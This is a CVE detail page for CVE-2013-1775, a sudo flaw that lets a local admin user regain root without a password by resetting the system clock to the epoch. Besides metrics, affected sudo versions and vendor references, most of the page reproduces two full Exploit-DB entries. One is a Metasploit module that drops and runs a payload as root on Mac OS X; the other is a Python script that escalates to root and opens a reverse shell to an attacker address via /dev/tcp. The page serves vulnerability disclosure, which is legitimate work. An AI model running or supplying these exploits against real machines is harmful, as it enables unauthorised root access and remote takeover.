CVE-2013-1775 : Detail

CVE-2013-1775

A01-Broken Access Control
0.05%V3
Local
2013-03-04
20h00 +00:00
2016-11-25
18h57 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

sudo 1.6.0 through 1.7.10p6 and sudo 1.8.0 through 1.8.6p6 allows local users or physically proximate attackers to bypass intended time restrictions and retain privileges without re-authenticating by setting the system clock and sudo user timestamp to the epoch.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Metrics

Metrics Score Severity CVSS Vector Source
V2 6.9 AV:L/AC:M/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 27944

Publication date : 2013-08-28 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # # http://metasploit.com/ ## require 'shellwords' class Metasploit3 < Msf::Exploit::Local # ManualRanking because it's going to modify system time # Even when it will try to restore things, user should use # it at his own risk Rank = NormalRanking include Msf::Post::Common include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper SYSTEMSETUP_PATH = "/usr/sbin/systemsetup" SUDOER_GROUP = "admin" VULNERABLE_VERSION_RANGES = [['1.6.0', '1.7.10p6'], ['1.8.0', '1.8.6p6']] # saved clock config attr_accessor :time, :date, :networked, :zone, :network_server def initialize(info={}) super(update_info(info, 'Name' => 'Mac OS X Sudo Password Bypass', 'Description' => %q{ This module gains a session with root permissions on versions of OS X with sudo binary vulnerable to CVE-2013-1775. Tested working on Mac OS 10.7-10.8.4, and possibly lower versions. If your session belongs to a user with Administrative Privileges (the user is in the sudoers file and is in the "admin group"), and the user has ever run the "sudo" command, it is possible to become the super user by running `sudo -k` and then resetting the system clock to 01-01-1970. This module will fail silently if the user is not an admin or if the user has never run the sudo command. }, 'License' => MSF_LICENSE, 'Author' => [ 'Todd C. Miller', # Vulnerability discovery 'joev <jvennix[at]rapid7.com>', # Metasploit module 'juan vazquez' # testing/fixing module bugs ], 'References' => [ [ 'CVE', '2013-1775' ], [ 'OSVDB', '90677' ], [ 'BID', '58203' ], [ 'URL', 'http://www.sudo.ws/sudo/alerts/epoch_ticket.html' ] ], 'Platform' => 'osx', 'Arch' => [ ARCH_X86, ARCH_X86_64, ARCH_CMD ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [ [ 'Mac OS X x86 (Native Payload)', { 'Platform' => 'osx', 'Arch' => ARCH_X86 } ], [ 'Mac OS X x64 (Native Payload)', { 'Platform' => 'osx', 'Arch' => ARCH_X86_64 } ], [ 'CMD', { 'Platform' => 'unix', 'Arch' => ARCH_CMD } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Feb 28 2013' )) register_advanced_options([ OptString.new('TMP_FILE', [true,'For the native targets, specifies the path that '+ 'the executable will be dropped on the client machine.', '/tmp/.<random>/<random>'] ), ], self.class) end # ensure target is vulnerable by checking sudo vn and checking # user is in admin group. def check if cmd_exec("sudo -V") =~ /version\s+([^\s]*)\s*$/ sudo_vn = $1 sudo_vn_parts = sudo_vn.split(/[\.p]/).map(&:to_i) # check vn between 1.6.0 through 1.7.10p6 # and 1.8.0 through 1.8.6p6 if not vn_bt(sudo_vn, VULNERABLE_VERSION_RANGES) print_error "sudo version #{sudo_vn} not vulnerable." return Exploit::CheckCode::Safe end else print_error "sudo not detected on the system." return Exploit::CheckCode::Safe end if not user_in_admin_group? print_error "sudo version is vulnerable, but user is not in the admin group (necessary to change the date)." Exploit::CheckCode::Safe end # one root for you sir Exploit::CheckCode::Vulnerable end def exploit if not user_in_admin_group? fail_with(Exploit::Failure::NotFound, "User is not in the 'admin' group, bailing.") end # "remember" the current system time/date/network/zone print_good("User is an admin, continuing...") # drop the payload (unless CMD) if using_native_target? cmd_exec("mkdir -p #{File.dirname(drop_path)}") write_file(drop_path, generate_payload_exe) register_files_for_cleanup(drop_path) cmd_exec("chmod +x #{[drop_path].shelljoin}") print_status("Payload dropped and registered for cleanup") end print_status("Saving system clock config...") @time = cmd_exec("#{SYSTEMSETUP_PATH} -gettime").match(/^time: (.*)$/i)[1] @date = cmd_exec("#{SYSTEMSETUP_PATH} -getdate").match(/^date: (.*)$/i)[1] @networked = cmd_exec("#{SYSTEMSETUP_PATH} -getusingnetworktime") =~ (/On$/) @zone = cmd_exec("#{SYSTEMSETUP_PATH} -gettimezone").match(/^time zone: (.*)$/i)[1] @network_server = if @networked cmd_exec("#{SYSTEMSETUP_PATH} -getnetworktimeserver").match(/time server: (.*)$/i)[1] end run_sudo_cmd end def cleanup print_status("Resetting system clock to original values") if @time cmd_exec("#{SYSTEMSETUP_PATH} -settimezone #{[@zone].shelljoin}") unless @zone.nil? cmd_exec("#{SYSTEMSETUP_PATH} -setdate #{[@date].shelljoin}") unless @date.nil? cmd_exec("#{SYSTEMSETUP_PATH} -settime #{[@time].shelljoin}") unless @time.nil? if @networked cmd_exec("#{SYSTEMSETUP_PATH} -setusingnetworktime On") unless @network_server.nil? cmd_exec("#{SYSTEMSETUP_PATH} -setnetworktimeserver #{[@network_server].shelljoin}") end end print_good("Completed clock reset.") if @time end private def run_sudo_cmd print_status("Resetting user's time stamp file and setting clock to the epoch") cmd_exec( "sudo -k; \n"+ "#{SYSTEMSETUP_PATH} -setusingnetworktime Off -settimezone GMT"+ " -setdate 01:01:1970 -settime 00:00" ) # Run Test test = rand_text_alpha(4 + rand(4)) sudo_cmd_test = ['sudo', '-S', ["echo #{test}"].shelljoin].join(' ') print_status("Testing that user has sudoed before...") output = cmd_exec('echo "" | ' + sudo_cmd_test) if output =~ /incorrect password attempts\s*$/i fail_with(Exploit::Failure::NotFound, "User has never run sudo, and is therefore not vulnerable. Bailing.") elsif output =~ /#{test}/ print_good("Test executed succesfully. Running payload.") else print_error("Unknown fail while testing, trying to execute the payload anyway...") end # Run Payload sudo_cmd_raw = if using_native_target? ['sudo', '-S', [drop_path].shelljoin].join(' ') elsif using_cmd_target? ['sudo', '-S', '/bin/sh', '-c', [payload.encoded].shelljoin].join(' ') end ## to prevent the password prompt from destroying session ## backgrounding the sudo payload in order to keep both sessions usable sudo_cmd = 'echo "" | ' + sudo_cmd_raw + ' & true' print_status "Running command: " print_line sudo_cmd output = cmd_exec(sudo_cmd) end # helper methods for accessing datastore def using_native_target?; target.name =~ /native/i; end def using_cmd_target?; target.name =~ /cmd/i; end def drop_path @_drop_path ||= datastore['TMP_FILE'].gsub('<random>') { Rex::Text.rand_text_alpha(10) } end # checks that the user is in OSX's admin group, necessary to change sys clock def user_in_admin_group? cmd_exec("groups `whoami`").split(/\s+/).include?(SUDOER_GROUP) end # helper methods for dealing with sudo's vn num def parse_vn(vn_str); vn_str.split(/[\.p]/).map(&:to_i); end def vn_bt(vn, ranges) # e.g. ('1.7.1', [['1.7.0', '1.7.6p44']]) vn_parts = parse_vn(vn) ranges.any? do |range| min_parts = parse_vn(range[0]) max_parts = parse_vn(range[1]) vn_parts.all? do |part| min = min_parts.shift max = max_parts.shift (min.nil? or (not part.nil? and part >= min)) and (part.nil? or (not max.nil? and part <= max)) end end end end
Exploit Database EDB-ID : 27965

Publication date : 2013-08-29 22h00 +00:00
Author : David Kennedy (ReL1K)
EDB Verified : Yes

#!/usr/bin/python # Original MSF Module: # https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/osx/local/sudo_password_bypass.rb ################################################################################################### # Exploit Title: OSX <= 10.8.4 Local Root Priv Escalation Root Reverse Shell # Date: 08-27-2013 # Exploit Author: David Kennedy @ TrustedSec # Website: https://www.trustedsec.com # Twitter: @Dave_ReL1K # Tested On: OSX 10.8.4 # # Reference: http://www.exploit-db.com/exploits/27944/ # # Example below: # trustedsec:Desktop Dave$ python osx_esc.py # [*] Exploit has been performed. You should have a shell on ipaddr: 127.0.0.1 and port 4444 # # attacker_box:~ Dave$ nc -l 4444 # bash: no job control in this shell # bash-3.2# ################################################################################################### import subprocess # IPADDR for REVERSE SHELL - change this to your attacker IP address ipaddr = "192.168.1.1" # PORT for REVERSE SHELL - change this to your attacker port address port = "4444" # drop into a root shell - replace 192.168.1.1 with the reverse listener proc = subprocess.Popen('bash', shell=False, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE) proc.stdin.write("systemsetup -setusingnetworktime Off -settimezone GMT -setdate 01:01:1970 -settime 00:00;sudo su\nbash -i >& /dev/tcp/%s/%s 0>&1 &\n" % (ipaddr,port)) print """ ############################################################### # # OSX < 10.8.4 Local Root Priv Escalation Root Reverse Shell # # Written by: David Kennedy @ TrustedSec # Website: https://www.trustedsec.com # Twitter: @Dave_ReL1K # # Reference: http://www.exploit-db.com/exploits/27944/ ############################################################### """ print "[*] Exploit has been performed. You should have a shell on ipaddr: %s and port %s" % (ipaddr,port)

Products Mentioned

Configuraton 0

Todd_miller>>Sudo >> Version 1.6

Todd_miller>>Sudo >> Version 1.6.1

Todd_miller>>Sudo >> Version 1.6.2

Todd_miller>>Sudo >> Version 1.6.2p3

Todd_miller>>Sudo >> Version 1.6.3

Todd_miller>>Sudo >> Version 1.6.3_p7

Todd_miller>>Sudo >> Version 1.6.4

Todd_miller>>Sudo >> Version 1.6.4p2

Todd_miller>>Sudo >> Version 1.6.5

Todd_miller>>Sudo >> Version 1.6.6

Todd_miller>>Sudo >> Version 1.6.7

Todd_miller>>Sudo >> Version 1.6.7p5

Todd_miller>>Sudo >> Version 1.6.8

Todd_miller>>Sudo >> Version 1.6.8p12

Todd_miller>>Sudo >> Version 1.6.9

Todd_miller>>Sudo >> Version 1.6.9p20

Todd_miller>>Sudo >> Version 1.6.9p21

Todd_miller>>Sudo >> Version 1.6.9p22

Todd_miller>>Sudo >> Version 1.6.9p23

Configuraton 0

Todd_miller>>Sudo >> Version 1.8.0

Todd_miller>>Sudo >> Version 1.8.1

Todd_miller>>Sudo >> Version 1.8.1p1

Todd_miller>>Sudo >> Version 1.8.1p2

Todd_miller>>Sudo >> Version 1.8.2

Todd_miller>>Sudo >> Version 1.8.3

Todd_miller>>Sudo >> Version 1.8.3p1

Todd_miller>>Sudo >> Version 1.8.3p2

Todd_miller>>Sudo >> Version 1.8.4

Todd_miller>>Sudo >> Version 1.8.4p1

Todd_miller>>Sudo >> Version 1.8.4p2

Todd_miller>>Sudo >> Version 1.8.4p3

Todd_miller>>Sudo >> Version 1.8.4p4

Todd_miller>>Sudo >> Version 1.8.4p5

Todd_miller>>Sudo >> Version 1.8.5

Todd_miller>>Sudo >> Version 1.8.5p1

Todd_miller>>Sudo >> Version 1.8.5p2

Todd_miller>>Sudo >> Version 1.8.5p3

Todd_miller>>Sudo >> Version 1.8.6

Todd_miller>>Sudo >> Version 1.8.6p1

Todd_miller>>Sudo >> Version 1.8.6p2

Todd_miller>>Sudo >> Version 1.8.6p3

Todd_miller>>Sudo >> Version 1.8.6p4

Todd_miller>>Sudo >> Version 1.8.6p5

Todd_miller>>Sudo >> Version 1.8.6p6

Configuraton 0

Apple>>Mac_os_x >> Version To (including) 10.10.4

Configuraton 0

Todd_miller>>Sudo >> Version 1.7.0

Todd_miller>>Sudo >> Version 1.7.1

Todd_miller>>Sudo >> Version 1.7.2

Todd_miller>>Sudo >> Version 1.7.2p1

Todd_miller>>Sudo >> Version 1.7.2p2

Todd_miller>>Sudo >> Version 1.7.2p3

Todd_miller>>Sudo >> Version 1.7.2p4

Todd_miller>>Sudo >> Version 1.7.2p5

Todd_miller>>Sudo >> Version 1.7.2p6

Todd_miller>>Sudo >> Version 1.7.2p7

Todd_miller>>Sudo >> Version 1.7.3b1

Todd_miller>>Sudo >> Version 1.7.4

Todd_miller>>Sudo >> Version 1.7.4p1

Todd_miller>>Sudo >> Version 1.7.4p2

Todd_miller>>Sudo >> Version 1.7.4p3

Todd_miller>>Sudo >> Version 1.7.4p4

Todd_miller>>Sudo >> Version 1.7.4p5

Todd_miller>>Sudo >> Version 1.7.4p6

Todd_miller>>Sudo >> Version 1.7.5

Todd_miller>>Sudo >> Version 1.7.6

Todd_miller>>Sudo >> Version 1.7.6p1

Todd_miller>>Sudo >> Version 1.7.6p2

Todd_miller>>Sudo >> Version 1.7.7

Todd_miller>>Sudo >> Version 1.7.8

Todd_miller>>Sudo >> Version 1.7.8p1

Todd_miller>>Sudo >> Version 1.7.8p2

Todd_miller>>Sudo >> Version 1.7.9

Todd_miller>>Sudo >> Version 1.7.9p1

Todd_miller>>Sudo >> Version 1.7.10

Todd_miller>>Sudo >> Version 1.7.10p1

Todd_miller>>Sudo >> Version 1.7.10p2

Todd_miller>>Sudo >> Version 1.7.10p3

Todd_miller>>Sudo >> Version 1.7.10p4

Todd_miller>>Sudo >> Version 1.7.10p5

Todd_miller>>Sudo >> Version 1.7.10p6

References

http://www.securityfocus.com/bid/58203
Tags : vdb-entry, x_refsource_BID
http://osvdb.org/90677
Tags : vdb-entry, x_refsource_OSVDB
http://rhn.redhat.com/errata/RHSA-2013-1701.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.debian.org/security/2013/dsa-2642
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.ubuntu.com/usn/USN-1754-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.openwall.com/lists/oss-security/2013/02/27/22
Tags : mailing-list, x_refsource_MLIST
http://rhn.redhat.com/errata/RHSA-2013-1353.html
Tags : vendor-advisory, x_refsource_REDHAT
https://support.apple.com/kb/HT205031
Tags : x_refsource_CONFIRM
http://support.apple.com/kb/HT5880
Tags : x_refsource_CONFIRM